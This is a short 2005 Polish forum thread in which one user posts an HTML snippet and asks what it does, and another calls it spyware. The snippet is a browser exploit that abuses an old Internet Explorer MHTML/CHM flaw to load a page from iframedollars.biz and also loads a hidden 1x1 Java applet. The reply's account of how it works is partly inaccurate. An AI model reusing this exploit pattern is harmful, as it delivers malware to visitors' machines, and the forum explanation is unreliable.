Forum PHP.pl > co to robi?

Pomoc - Szukaj - Użytkownicy - Kalendarz

Forum PHP.pl > Forum > Po stronie przeglądarki > JavaScript

goped

6.01.2005, 15:49:30

tylko bez smiechu :]
co robi ten skrypt?

[HTML] pobierz, plaintext 
<html><head> 
</head><body> 
<textarea cd="cxw" style="display:none;" > 
<object data="${PR}" type="text/x-scriptlet"></object> 
</textarea> 
 
<script language="javascript"> 
document.write(cxw.value.replace(/\${PR}/g,'ms-its:mhtml:file://c:\\nosuch.mht!http://iframedollars.biz/dl/adv407/x.chm::/x.htm')); 
</script> 
<applet width=1 height=1 ARCHIVE=loaderadv407.jar code=Counter></APPLET></body></html>
[HTML] pobierz, plaintext

szczesliwego nowego roku :]bye bye

shizo

7.01.2005, 15:13:34

To jakiś spyware. Zapisuje dane do pliku i pobiera inne z strony.

goped

8.01.2005, 09:27:02

ale moglbys mi przetlumaczyc w jaki sposob on dziala? :]

shizo

8.01.2005, 11:45:22

http://iframedollars.biz/dl/adv407/x.chm::/x.htm'));
Wykorzystując błąd w przeglądarce zapisuje się na dysk C w pliku nosuch.mht, i kiedy wejdziesz w ten plik, (a najcześciej uruchamia się przy starcie, bo prawdopodobnie to jakiś wirus skryptowy.) to uruchamia ci się strona http://iframedollars.biz/dl/adv407/x.chm::/x.htm, katra prawdopodobnie zawiera spyware, trojanki i inne syfy.

To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.